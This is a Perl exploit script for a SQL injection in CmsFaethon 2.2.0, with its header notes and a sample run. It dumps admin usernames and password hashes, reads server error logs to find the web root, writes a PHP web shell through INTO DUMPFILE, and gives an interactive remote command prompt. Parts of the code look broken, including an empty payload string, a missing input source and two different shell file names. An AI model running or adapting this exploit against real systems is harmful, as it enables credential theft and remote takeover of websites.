#!/usr/bin/perl # |----------------------------------------------------------------------------------------------------------------------------------| # | INFORMATIONS | # |----------------------------------------------------------------------------------------------------------------------------------| # |Web Application : CmsFaethon 2.2.0 Ultimate | # |Download : http://garr.dl.sourceforge.net/sourceforge/cmsfaethon/cmsfaethon-2.2.0-ultimate.zip | # |----------------------------------------------------------------------------------------------------------------------------------| # |Remote SQL Command Injection Exploit | # |by Osirys | # |osirys[at]autistici[dot]org | # |osirys.org | # |Greets to: evilsocket, Fireshot, Todd and str0ke | # |----------------------------------------------------------------------------------------------------------------------------------| # |BUG [Sql Injection] # | p0c : /[path]/info.php?item=[sql_string] # |SQL Injections used by this sploit : # |[1] /path]/info.php?item=-2' union all select concat(username,0x3a,password),0 from f06_users order by '* # |[2] /path]/info.php?item=-2' union all select load_file('lf'),0 order by '* # |[3] /path]/info.php?item=-2' union all select 'content',0 into dumpfile 'file # |----------------------------------------------------------------------------------------------------------------------------------| # |This exploit just use a trick that came in my mind smocking a cigarette. It's just a SQL Injection vulnerability, but with this # |trick can become a RCE vulnerability. A lot of people already know the into dumpfile mysql function, but this function needs the # |path of the site in the server, so the attacker has to find this path to perform a RCE attack. # |I just found a possible way to find this path. Making a HTTP GET request to a non existent file of the cms, this wrong request will # |appear into error log files. So, just using then load_file() function on each possible path of error logs, when we will find the # |right path, will appear error log's content, so we will be able to get the website path in the server just watching near the error # |that came out after the request to a non existent file. Anyway, soon I will write a paper to talk about this trick. # |It's just an experimental way to RCE by SQL. Can be emproved. A complete paper will arrive soon ! # |Coz to use this technique you need to know few things before :P # |----------------------------------------------------------------------------------------------------------------------------------| # -----------------------------------------------------------------------------------------------------------------------------------| # Exploit in action [>!] # -----------------------------------------------------------------------------------------------------------------------------------| # osirys[~]>$ perl p0w.txt http://localhost/cmsfaethon-2.0.4-ultimate/20_ultimate/ # # --------------------------------- # CmsFaethon Remote SQL # CMD Inj Sploit # by Osirys # --------------------------------- # # [*] Getting admin login details .. # [$] User: admin # [$] Pass: 5f4dcc3b5aa765d61d8327deb882cf99 # [*] Generating error through GET request .. # [*] Cheeking Apache Error Log path .. # [*] Error Log path found -> /var/log/httpd/error_log # [*] Website path found -> /home/osirys/web/cmsfaethon-2.0.4-ultimate/20_ultimate/ # [*] Shell succesfully injected ! # [&] Hi my master, do your job now [!] # shell[localhost]$> id # uid=80(apache) gid=80(apache) groups=80(apache) # shell[localhost]$> pwd # /home/osirys/web/cmsfaethon-2.0.4-ultimate/20_ultimate # shell[localhost]$> exit # [-] Quitting .. # osirys[~]>$ # -----------------------------------------------------------------------------------------------------------------------------------| use IO::Socket; use LWP::UserAgent; my $host = $ARGV[0]; my $rand = int(rand 9) +1; my @error_logs = qw( /var/log/httpd/error.log /var/log/httpd/error_log /var/log/apache/error.log /var/log/apache/error_log /var/log/apache2/error.log /var/log/apache2/error_log /logs/error.log /var/log/apache/error_log /var/log/apache/error.log /usr/local/apache/logs/error_log /etc/httpd/logs/error_log /etc/httpd/logs/error.log /var/www/logs/error_log /var/www/logs/error.log /usr/local/apache/logs/error.log /var/log/error_log /apache/logs/error.log ); my $php_c0de = ""; ($host) || help("-1"); cheek($host) == 1 || help("-2"); &banner; $datas = get_input($host); $datas =~ /(.*) (.*)/; ($h0st,$path) = ($1,$2); print "[*] Getting admin login details ..\n"; my $url = $host."/info.php?item=-2' union all select concat(0x64657461696C73,username,0x3a,password,0x64657461696C73),0 from f06_users order by '*"; my $re = get_req($url); if ($re =~ /details(.+):(.+)details/) { $user = $1; $pass = $2; print "[\$] User: $user\n"; print "[\$] Pass: $pass\n"; } else { print "[-] Can't extract admin details\n\n"; } print "[*] Generating error through GET request ..\n"; get_req($host."/osirys_log_test".$rand); print "[*] Cheeking Apache Error Log path ..\n"; while (($log = <@error_logs>)&&($gotcha != 1)) { $tmp_path = $host."/info.php?item=-2' union all select load_file('".$log."'),0 order by '*"; $re = get_req($tmp_path); if ($re =~ /File does not exist: (.+)\/osirys_log_test$rand/) { $site_path = $1."/"; $gotcha = 1; print "[*] Error Log path found -> $log\n"; print "[*] Website path found -> $site_path\n"; &inj_shell; } } $gotcha == 1 || die "[-] Couldn't file error_log !\n"; sub inj_shell { my $attack = $host."/info.php?item=-2' union all select '".$php_c0de."',0 into dumpfile '".$site_path."/1337.php"; get_req($attack); my $test = get_req($host."/1337.php"); if ($test =~ /st4rt/) { print "[*] Shell succesfully injected !\n"; print "[&] Hi my master, do your job now [!]\n\n"; $exec_path = $host."/shell.php"; &exec_cmd; } else { print "[-] Shell not found \n[-] Exploit failed\n\n"; exit(0); } } sub exec_cmd { $h0st !~ /www\./ || $h0st =~ s/www\.//; print "shell[$h0st]\$> "; $cmd = ; $cmd !~ /exit/ || die "[-] Quitting ..\n"; $exec_url = $host."/1337.php?cmd=".$cmd; my $re = get_req($exec_url); my $content = tag($re); if ($content =~ /st4rt(.+)0/) { my $out = $1; $out =~ s/\$/ /g; $out =~ s/\*/\n/g; chomp($out); print "$out\n"; &exec_cmd; } else { $c++; $cmd =~ s/\n//; print "bash: ".$cmd.": command not found\n"; $c < 3 || die "[-] Command are not executed.\n[-] Something wrong. Exploit Failed !\n\n"; &exec_cmd; } } sub get_req() { $link = $_[0]; my $req = HTTP::Request->new(GET => $link); my $ua = LWP::UserAgent->new(); $ua->timeout(4); my $response = $ua->request($req); return $response->content; } sub cheek() { my $host = $_[0]; if ($host =~ /http:\/\/(.*)/) { return 1; } else { return 0; } } sub get_input() { my $host = $_[0]; $host =~ /http:\/\/(.*)/; $s_host = $1; $s_host =~ /([a-z.-]{1,30})\/(.*)/; ($h0st,$path) = ($1,$2); $path =~ s/(.*)/\/$1/; $full_det = $h0st." ".$path; return $full_det; } sub tag() { my $string = $_[0]; $string =~ s/ /\$/g; $string =~ s/\s/\*/g; return($string); } sub banner { print "\n". " --------------------------------- \n". " CmsFaethon Remote SQL \n". " CMD Inj Sploit \n". " by Osirys \n". " --------------------------------- \n\n"; } sub help() { my $error = $_[0]; if ($error == -1) { &banner; print "\n[-] Input data failed ! \n"; } elsif ($error == -2) { &banner; print "\n[-] Bad hostname address !\n"; } print "[*] Usage : perl $0 http://hostname/cms_path\n\n"; exit(0); }